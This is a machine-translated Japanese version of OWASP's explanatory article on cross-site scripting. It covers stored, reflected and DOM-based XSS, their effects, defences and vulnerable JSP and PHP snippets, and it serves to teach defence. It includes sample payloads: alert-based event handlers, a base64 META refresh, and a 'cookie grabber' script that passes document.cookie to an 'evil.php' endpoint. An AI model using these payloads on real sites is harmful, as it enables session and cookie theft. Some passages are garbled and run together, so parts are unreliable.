寄稿者です。 Jim Manico、Jeff Williams、Dave Wichers、Adar Weidman、Roman、Alan Jex、Andrew Smith、Jeff Knutson、Imifos、Erez Yalon、kingthorin
Overview
クロスサイトスクリプティング (XSS) 攻撃はインジェクションの一種であり、悪意のあるスクリプトが良心的で信頼できるWebサイトに注入されます。 XSS攻撃は、攻撃者がWebアプリケーションを使用して、悪意のあるコードを、通常はブラウザサイドスクリプトの形で、別のエンドユーザーに送信することで発生します。
攻撃者はXSSを利用して、無防備なユーザーに悪意のあるスクリプトを送信することができます。 エンドユーザーのブラウザは、そのスクリプトが信頼できないものであることを知る術がなく、スクリプトを実行してしまいます。 悪意のあるスクリプトは、スクリプトが信頼できるソースから送られてきたと考えるため、ブラウザが保持しているクッキー、セッショントークン、またはそのサイトで使用されているその他の機密情報にアクセスすることができます。 これらのスクリプトは、HTMLページのコンテンツを書き換えることもできます。 XSS欠陥の種類についての詳細は、「クロスサイトスクリプティングの種類」をご覧ください。 クロスサイトスクリプティングの種類」をご覧ください。
How to Avoid Cross-site scripting Vulnerabilities
- XSS (Cross Site Scripting) Prevention Cheat Sheet
- DOM based XSS Prevention Cheat Sheet
- OWASP Development Guide article on Data Validation
- OWASP Development Guide article on Phishing
How to Review Code for Cross-Site Scripting Vulnerabilities
How to Review Code for Cross-Site Scripting?クロスサイトスクリプティングの脆弱性のためにコードをレビューする方法
OWASPのコードレビューガイドを参照してください。
How to Test for Cross-site scripting Vulnerabilities
さまざまな種類の XSS 脆弱性をテストする方法について、最新の OWASP Testing Guide の記事をご覧ください。
- Testing_for_Reflected_Cross_site_scripting
- Testing_for_Stored_Cross_site_scripting
- Testing_for_DOM-based_Cross_site_scripting
Description
クロスサイトスクリプティング (XSS) 攻撃は次のような場合に発生します。
- データが信頼されていないソース (主にウェブ リクエスト) を通してウェブ アプリケーションに入ります。
- そのデータが、悪意のあるコンテンツかどうか検証されずにWebユーザーに送信される動的コンテンツに含まれる。
Webブラウザに送信される悪意のあるコンテンツは、多くの場合、JavaScriptのセグメントの形をしていますが、HTML、Flash、またはブラウザが実行できるその他のタイプのコードを含む場合もあります。 XSS を利用した攻撃の種類は無限にありますが、一般的には、クッキーやその他のセッション情報などのプライベート データを攻撃者に送信したり、攻撃者が管理する Web コンテンツに被害者をリダイレクトしたり、脆弱なサイトを装ってユーザーのマシン上でその他の悪意のある操作を行ったりします。
Stored XSS Attacks
Stored 攻撃は、データベース、メッセージ フォーラム、訪問者ログ、コメント フィールドなど、注入されたスクリプトがターゲット サーバーに永続的に保存されるものです。 そして、被害者が保存されている情報を要求したときに、サーバーから悪意のあるスクリプトを取得します。
反射型 XSS 攻撃
反射型攻撃とは、注入されたスクリプトがウェブ サーバーの外に反映される攻撃のことで、エラー メッセージや検索結果など、リクエストの際にサーバーに送信された入力の一部またはすべてを含む応答の中に含まれます。 ユーザーが騙されて悪意のあるリンクをクリックしたり、特別に細工されたフォームを送信したり、あるいは悪意のあるサイトを閲覧したりすると、注入されたコードが脆弱なWebサイトに移動し、そのWebサイトが攻撃をユーザーのブラウザに反映します。 ブラウザは、コードが「信頼できる」サーバーから送られてきたものであることを理由に、そのコードを実行します。
その他の XSS 脆弱性
Stored XSS や Reflected XSS に加えて、DOM BasedXSS というタイプの XSS が 2005 年に Amit Kleinin 氏によって発見されました。 OWASPrecommends the XSS categoryization as described in OWASP Article:Types of Cross-Site Scripting, which includes allthese XSS terms, organizing them into a matrix of Stored vs. Reflected XSS and Server vs. Client XSS, which DOM Based XSS is said to be made to be made to be made and be made to be made。
XSS 攻撃の結果
XSS 攻撃の結果は、保存されているか反映されているか (または DOM ベースか) にかかわらず同じです。 違いは、ペイロードがどのようにしてサーバーに届くかということです。 読み込み専用」や「パンフレット専用」のサイトは、深刻な反射型XSS攻撃を受けないと考えてはいけません。 XSSは、エンドユーザーにさまざまな問題を引き起こす可能性があり、その深刻度は、迷惑行為から完全なアカウント侵害まで多岐にわたります。 最も深刻なXSS攻撃は、ユーザーのセッションクッキーの漏洩であり、攻撃者はユーザーのセッションを乗っ取ってアカウントを乗っ取ることができます。 その他の攻撃としては、エンドユーザーファイルの漏洩、トロイの木馬プログラムのインストール、ユーザーを別のページやサイトに誘導する、コンテンツの表示を変更するなどがあります。 XSSの脆弱性を利用してプレスリリースやニュース記事を改ざんされると、企業の株価に影響を与えたり、消費者の信頼を失ったりする可能性があります。 医薬品のサイトにXSS脆弱性があると、攻撃者が投与量の情報を改ざんし、過量投与につながる可能性があります。
How to Determine If You Are Vulnerable
XSSの脆弱性を特定し、ウェブアプリケーションから取り除くのは難しいことです。 欠陥を発見する最良の方法は、コードのセキュリティ レビューを行い、HTTP リクエストからの入力が HTML 出力に入る可能性があるすべての場所を探すことです。 NessusやNiktoなどのツールは、Webサイトをスキャンして欠陥を発見するのに役立ちますが、表面的なことしかできません。
How to Protect yourself
XSSに対する主な防御策は、OWASP XSS Prevention CheatSheetに記載されています。
また、すべてのウェブサーバーでHTTP TRACEサポートをオフにすることも重要です。 攻撃者は、クライアントがdocument.cookieを無効にしていたり、サポートしていない場合でも、Javascriptを使ってcookieデータを盗むことができます。 この攻撃は、ユーザーが悪意のあるスクリプトをフォーラムに投稿し、他のユーザーがそのリンクをクリックすると、非同期のHTTPトレースコールが起動し、サーバーからユーザーのクッキー情報を収集し、クッキー情報を収集する別の悪意のあるサーバーに送信することで、セッションハイジャック攻撃を行うことができます。
OWASP ESAPI プロジェクトでは、いくつかの言語で再利用可能なセキュリティ コンポーネントのセットを作成しています。これには、パラメータの改ざんや XSS 攻撃の注入を防ぐための検証およびエスケープ ルーチンが含まれています。
Alternate XSS Syntax
XSS Using Script in Attributes
XSS攻撃は、<script>...</script><body onload=alert('test1')>onmouseoveronerrorのようになります。
onmouseover
<b onmouseover=alert('Wufff!')>click me!</b>
onerror
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
XSS Using Script Via Encoded URI Schemes
ウェブアプリケーションのフィルターから隠れる必要がある場合は、文字をエンコードすることができます（例：以下のように）。g.:
a=&\#X41 (UTF-8)を、IMGタグで使用します。
コード エンコーディングを使用した XSS
スクリプトを base64 でエンコードし、METAalert()を完全に取り除くことができます。
<META HTTP-EQUIV="refresh"CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">これらの例やその他の例は、代替 XSS 構文攻撃の真の百科事典である OWASP XSS Filter Evasion Cheat Sheet で見ることができます。
例
クロスサイトスクリプティング攻撃は、おそらく悪意のあるユーザーが、他の有効なユーザーが消費できるように、信頼できるウェブサイトに規制されていない内容を投稿することが許される場所であれば、どこでも発生する可能性があります。
最も一般的な例は、Web ベースのメーリングリスト形式の機能を提供する掲示板の Web サイトです。
例1
次の JSP コード セグメントは、HTTP リクエストから従業員 ID の eid を読み取り、ユーザーに表示します。
<% String eid = request.getParameter("eid"); %>...Employee ID: <%= eid %>この例のコードは、eideid にメタ文字やソース コードを含む値がある場合は、ウェブブラウザが HTTP レスポンスを表示する際にコードが実行されます。
最初は、これはそれほど大きな脆弱性ではないように見えるかもしれません。
最初は、これはそれほど大きな脆弱性ではないように思えるかもしれません。なぜ、自分のコンピュータ上で悪意のあるコードを実行させるようなURLを入力するのでしょうか。 本当の危険性は、攻撃者が悪意のあるURLを作成し、電子メールやソーシャルエンジニアリングの手法を使って被害者をおびき寄せ、そのURLへのリンクをクリックさせることです。 被害者がリンクをクリックすると、知らず知らずのうちに、脆弱なウェブ・アプリケーションを介して悪意のあるコンテンツが自分のコンピュータに反映されてしまいます。
例 2
次の JSP コード セグメントは、与えられた ID を持つ従業員をデータベースに照会し、対応する従業員の名前を表示します。
<%... Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from emp wherename");%>Employee Name: <%= name %>例1と同様に、このコードは name の値が適切に保たれている場合は正しく機能しますが、そうでない場合は悪用を防ぐために何もしません。 繰り返しになりますが、nameの値がデータベースから読み込まれ、その内容がアプリケーションによって管理されているように見えるため、このコードは危険性が低いように見えます。 しかし、nameの値がユーザから提供されたデータに由来するものであれば、データベースは悪意のあるコンテンツの導管となる可能性があります。 データベースに保存されているすべてのデータに対して適切な入力検証を行わないと、攻撃者はユーザーのウェブブラウザで悪意のあるコマンドを実行することができます。 Stored XSS」と呼ばれるこのタイプの攻撃は、データストアによる間接的な情報伝達により脅威の特定が困難になり、複数のユーザーに影響を与える可能性が高くなるため、特に注意が必要です。 XSSは、訪問者に「ゲストブック」を提供しているWebサイトでこの形式で始まりました。
これらの例が示すように、XSSの脆弱性は、HTTPレスポンスに有効でないデータを含むコードによって引き起こされます。
- 例1のように、データはHTTPリクエストから直接読み取られ、HTTPレスポンスに反映されます。 反射型XSS攻撃は、攻撃者がユーザーに危険なコンテンツを脆弱なWebアプリケーションに提供させ、そのコンテンツがユーザーに反射され、Webブラウザによって実行されることで起こります。 悪意のあるコンテンツを配信する最も一般的な方法は、URLのパラメータとして悪意のあるコンテンツを含み、それを一般に公開したり、被害者に直接電子メールで送信したりすることです。 このようにして構築されたURLは、多くのフィッシングスキームの中核をなしています。これは、攻撃者が被害者を説得して、脆弱なサイトを参照するURLにアクセスさせるというものです。
- 例2のように、アプリケーションは危険なデータをデータベースや他の信頼できるデータストアに保存します。 危険なデータはその後、アプリケーションに読み戻され、動的コンテンツに含まれます。 StoredXSSの悪用は、攻撃者が危険なコンテンツをデータストアに注入し、それが後に読み込まれて動的コンテンツに含まれる場合に発生します。 攻撃者の視点から見ると、悪意のあるコンテンツを注入するのに最適な場所は、多くのユーザーか、特に関心のあるユーザーに表示される領域です。 興味を持ったユーザーは、アプリケーション内で高い権限を持っていたり、攻撃者にとって価値のある機密データを扱っていたりします。
- アプリケーション外部のソースが危険なデータをデータベースやその他のデータストアに保存し、その後、危険なデータが信頼できるデータとしてアプリケーションに読み込まれ、動的コンテンツに含まれます。
攻撃の例
例 1: Cookie Grabber
アプリケーションが入力データを検証しない場合、攻撃者は認証されたユーザーの Cookie を簡単に盗むことができます。
<SCRIPT type="text/javascript">var adr = '../evil.php?cakemonster=' + escape(document.cookie);</SCRIPT>上記のコードは、クッキーのエスケープされたコンテンツ (RFC によれば、HTTP プロトコルで GET メソッドで送信する前にコンテンツをエスケープしなければなりません) を evil.php スクリプトの “cakemonster” 変数に渡します。
エラーページの例
典型的な404エラーページである、存在しないページへのリクエストを処理するエラーページがあると仮定しましょう。
<html><body><? phpprint "Not found: " . urldecode($_SERVER);?></body></html>動作を見てみましょう。 http://testsite.test/file_which_not_existNot found: /file_which_not_exist
今度は、エラーページに強制的にコードを含ませるようにしてみます。 http://testsite.test/<script>alert("TEST");</script>Not found: / (but with JavaScript code <script>alert("TEST");</script>)
私たちはコードの注入に成功しました。 これは何を意味するのでしょうか？ 例えば、この欠陥を利用して、ユーザーのセッションクッキーを盗むことができます。
- XSS 攻撃
- 信頼されていないモバイル コードの起動
- Cross Site History Manipulation (XSHM)
- 不適切なデータ検証
- クロスサイトスクリプティングの種類li
- データ検証に関するOWASP開発ガイドの記事
- フィッシングに関するOWASP開発ガイドの記事
- データ検証
- i
- OWASPのXSS（クロスサイトスクリプティング）対策チートシート
- Testing_for_Reflected_Cross_site_scripting
- Testing_for_Stored_Cross_site_scripting
- Testing_for_DOM-…based_Cross_site_scripting
- The Cross Site Scripting FAQ
- OWASP XSS Filter Evasion Cheat Sheet
- CERT Advisory on Malicious HTML Tags
- CERT “Understanding Malicious Content Mitigation”
- Understanding the cause and effect of CSS Vulnerabilities
- XSSed – 。 クロスサイトスクリプティング（XSS）情報と脆弱性のあるウェブサイトのミラーアーカイブ
Category:インジェクションカテゴリ:OWASP Top Ten Projectカテゴリ:攻撃
p